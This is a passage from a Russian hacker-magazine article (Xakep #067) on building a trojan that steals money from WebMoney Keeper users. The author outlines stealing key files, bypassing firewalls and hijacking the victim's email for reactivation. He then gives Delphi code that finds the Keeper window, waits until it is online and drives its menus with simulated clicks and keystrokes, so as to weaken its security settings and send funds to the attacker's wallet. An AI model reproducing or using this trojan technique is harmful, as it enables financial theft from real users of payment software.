Ломка WebMoney Crack (crack@rsteam.ru) Xakep, номер #067, стр. 067-042-2 Третья проблема заключается в том, что у пользователя может попросту стоять файрвол, который не пустит мою программу при пересылке ключей. Это, на самом деле, тоже не беда - существует множество способов обхода файрволов под Windows. И, наконец, четвертая проблема заключается в том, что при использовании краденых ключей необходимо пройти повторную активизацию, а код активизации присылается на почтовый ящик бывшего владельца. То есть тут необходимо взламывать e-mail жертвы, что порой не так-то просто. В принципе, все эти проблемы вполне можно разрешить. Но встает вопрос - зачем? Ведь есть второй способ кражи денег, который легко обходит все эти защитные меры. Уязвимое место №2 Второй способ заключается в том, что мой троян заставит отправить программу-клиента деньги на нужный мне кошелек, вызвав некоторую функцию. Программа просто будет висеть в памяти и проверять все окна на наличие заголовка "WebMoney Keeper". Это легко делается с помощью API-функции findwindow. Затем я буду получать хэндлы дочерних окон: это нужные поля ввода, кнопки и другие необходимые мне объекты. Для получения хэндлов дочерних окон используется функция getwindow, первым параметром которой выступает хэндл основного окна, а вторым - gw_child. Итак, программа висит и ждет появления окна с заголовком "WebMoney Keeper", а я жду, пока программа-клиент законнектится к серваку. Эту проверку я реализовал следующим образом. API-функциями получаю хэндл кнопки, на которой написан статус программы (онлайн или офлайн) и затем, при помощи функции wm_gettext, считываю текст с кнопки. Вот этот нехитрый код: Проверяем статус программы if FindWindow(nil, 'WebMoney Keeper')><0 then begin KeeperWnd := FindWindow(0,'WebMoney Keeper'); ButtonWnd[1]:=GetWindow(KeeperWnd, gw_Child); for i:=2 to 6 do ButtonWnd[i]:= GetWindow(ButtonWnd[i-1],gw_HWNDNext); SetLength(ButText,20); while Copy(ButText,1,3)><' On' do //Получаем первые три символа слова Online begin SendMessage(ButtonWnd[6],WM_GETTEXT,20,Longint(@ButText[1])); end; end; При помощи цикла for я получаю первые шесть хэндлов дочерних окон. Важный момент - шестой дескриптор указывает на кнопку со статусом соединения. После всего этого я могу смело приступать к своим гнусным делам :). Для начала необходимо изменить некоторые опции безопасности WM Keeper'а, чтобы процедура пересылки денег прошла безболезненно. Для этого необходимо получить хэндл кнопки вызова меню (она пятая по счету), кликнуть по ней и затем перемещаться по меню с помощью сообщений wm_keydown и wm_keyup. Вот ключевой момент программы: Свободно лазить по меню sendmessage(ButtonWnd[5], WM_LBUTTONDOWN, MK_LBUTTON, 0); sendmessage(ButtonWnd[5], WM_LBUTTONUP, 0, 0); sleep(5); GetWindowRect(ButtonWnd[5],korbut); point.x :=korbut.TopLeft.X+5; point.y :=korbut.TopLeft.Y-40; MenWnd:=WindowFromPoint(point); PostMessage (MenWnd, WM_KEYDOWN, VK_UP, 0); //так перемещаться вниз //...перемещаемся, куда нам нужно PostMessage (hControl, WM_KEYDOWN, VK_RETURN, 0); //так жму Enter |